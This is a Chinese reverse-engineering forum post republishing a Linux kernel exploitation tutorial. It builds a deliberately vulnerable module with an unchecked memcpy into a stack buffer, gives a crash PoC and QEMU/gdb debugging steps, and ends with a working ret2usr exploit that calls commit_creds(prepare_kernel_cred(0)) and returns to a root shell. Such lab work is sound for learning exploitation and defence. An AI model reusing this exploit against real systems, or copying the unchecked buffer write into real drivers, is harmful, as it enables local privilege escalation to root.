学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-5-4 11:38:40 | 查看: 2169| 回复: 1

相关题目:


2. Kernel Stack Overflow(1)漏洞代码
#include <linux/init.h>
  #include <linux/module.h>
  #include <linux/kernel.h>
  #include <linux/proc_fs.h>
  int bug2_write(struct file *file,const char *buf,unsigned long len)
  {
  char localbuf[8];
  memcpy(localbuf,buf,len);
  return len;
  }
  static int __init stack_smashing_init(void)
  {
  printk(KERN_ALERT "stack_smashing driver init!n");
  create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
  return 0;
  }
  static void __exit stack_smashing_exit(void)
  {
  printk(KERN_ALERT "stack_smashing driver exit!n");
  }
  module_init(stack_smashing_init);
  module_exit(stack_smashing_exit);
  

简单的栈溢出漏洞。
# Makefile
  obj-m := stack_smashing.o
  KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
  PWD := $(shell pwd)
  modules:
  $(MAKE) -C $(KERNELDR) M=$(PWD) modules
  moduels_install:
  $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
  clean:
  rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
  

(2)PoC
#include <stdio.h>
  #include <stdlib.h>
  #include <sys/stat.h>
  #include <fcntl.h>
  int main(){
  char buf[24] = {0};
  memset(buf,"A",24);
  *((void**)(buf + 20)) = 0x42424242;
  int fd = open("/proc/bug2",O_WRONLY);
  write(fd,buf,sizeof(buf));
  }
  

$ insmod ./stack_smashing.ko

linux内核漏洞利用初探(3):demo-stack_overflow

linux内核漏洞利用初探(3):demo-stack_overflow
QEMU起内核后运行poc_stack直接崩溃,为了简便,需关闭cannary选项,重新编译内核。
编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核,再重新编译stack_smashing.ko(程序之前编译时是支持canary的,checksec查看即可)。
再跑POC。
$ insmod ./stack_smashing.ko

linux内核漏洞利用初探(3):demo-stack_overflow

linux内核漏洞利用初探(3):demo-stack_overflow
发现RIP被劫持为0x4242424242424242。
#start_stack_smashing.sh
  qemu-system-x86_64 \
  -m 256M      \
  -kernel linux-2.6.32.1/arch/x86/boot/bzImage \
  -initrd ./rootfs_stack_smashing.img  \
  -append "root=/dev/ram rdinit=/sbin/init" \
  -s
  #QEMU命令
  $ cat /sys/module/stack_smashing/sections/.texts
  0xffffffffa0000000
  #gdb调试命令 (可以用gdb脚本更方便)
  $ gdb vmlinux
  $ target remote :1234
  $ add-symbol-file ./stack_smashing.ko 0xffffffffa0000000
  $ b bug2_write
  $ c
  #gdb.sh脚本
  gdb \
  -ex "add-auto-load-safe-path $(pwd)" \
  -ex "file ../../linux-2.6.32.1/vmlinux" \
  -ex 'target remote localhost:1234' \
  -ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \
  -ex 'b bug2_write' \
  -ex 'c'
  $ x /20iw $pc
  $ b *0xffffffffa0000022   # ret处下断
  $ c
  $ ni
  Warning: not running or target is remote
  0x4242424242424242 in ?? ()
  

(3)exploit
1.思路
利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式先执行swapgs,再执行iret。
当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
struct trap_frame
  {
  void* eip;                // instruction pointer +0
  uint32_t cs;            // code segment    +4
  uint32_t eflags;        // CPU flags       +8
  void* esp;                // stack pointer       +12
  uint32_t ss;            // stack segment   +16
  } __attribute__((packed));
  

2.编写exploit
//gcc exp.c -static -masm=intel -g -o exp_stack
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <sys/stat.h>
  #include <fcntl.h>
  #include <string.h>
  #include <stdint.h>
  size_t user_rip;
  size_t user_cs;
  size_t user_rflags;
  size_t user_sp;
  size_t user_ss;
  struct trap_frame{
  size_t user_rip;
  size_t user_cs;
  size_t user_rflags;
  size_t user_sp;
  size_t user_ss;
  }__attribute__((packed));
  struct trap_frame tf;
  size_t addr=&tf;  //user_rip
  void get_shell(void){
  system("/bin/sh");
  }
  void save_status()
  {
  __asm__("mov user_cs, cs;"
  "mov user_ss, ss;"
  "mov user_sp, rsp;"
  "pushf;"
  "pop user_rflags;"
  );
  tf.user_rip = &get_shell;
  tf.user_cs  = user_cs;
  tf.user_rflags = user_rflags;
  tf.user_sp  = user_sp-0x1000;    //why?
  tf.user_ss  = user_ss;
  puts("
  • status has been saved.");   }   #define KERNCALL __attribute__((regparm(3)));   size_t prepare_kernel_cred=0xffffffff81083330;  //How to find this address?   size_t commit_creds=0xffffffff81083140;   void payload(void){   //payload here   char* (*pkc)(int)=prepare_kernel_cred;   void (*cc)(char*)=commit_creds;   (*cc)((*pkc)(0));   asm(   "swapgs;"    //exchange GS   "mov rsp, addr;"   "iretq;");   }   int main(void){   char buf[48];   memset(buf,0x41,48);   *((void**)(buf+32)) = &payload; //set rip to payload   save_status();   //write(1,buf,sizeof(buf));   int fd = open("/proc/bug2",O_WRONLY);   //exploit   write(fd,buf,sizeof(buf));   return 0;   }   

  • 调试:
    #gdb
      $ ./gdb.sh
      $ x /20iw $pc
      $ b *0xffffffffa0000022   #ret处下断点
      $ c
      $ stack
      

    由于muhe的教程是32位的,在64位系统上测试时需要修改exp,主要有以下几点:
    ·asm内联汇编:iret -> iretq 。·32位居然不需要"swapgs"来切换 GS 段寄存器。·cat /proc/kallsyms 找提权函数地址

    linux内核漏洞利用初探(3):demo-stack_overflow

    linux内核漏洞利用初探(3):demo-stack_overflow
    参考:
    https://www.anquanke.com/post/id/85837
    https://www.anquanke.com/post/id/85840
    https://www.anquanke.com/post/id/85848
    文章首发于先知-linux内核漏洞利用初探(3):demo-stack_overflow[1]
    References
    [1] 先知-linux内核漏洞利用初探(3):demo-stack_overflow: https://xz.aliyun.com/t/6010

      往期推荐
      linux内核漏洞利用初探(1):环境配置
      linux内核漏洞利用初探(2):two_demo


    linux内核漏洞利用初探(3):demo-stack_overflow

    linux内核漏洞利用初探(3):demo-stack_overflow


    温馨提示:
    1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
    2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
    3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
    论坛交流群:672619046

      发表于 2020-5-4 17:36:56
      资源很给力,请收下我的膝盖!

      小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

      GMT+8, 2024-4-20 19:39 , Processed in 0.093940 second(s), 43 queries .

      Powered by Discuz! X3.4

      Copyright © 2001-2021, Tencent Cloud.

      快速回复 返回顶部 返回列表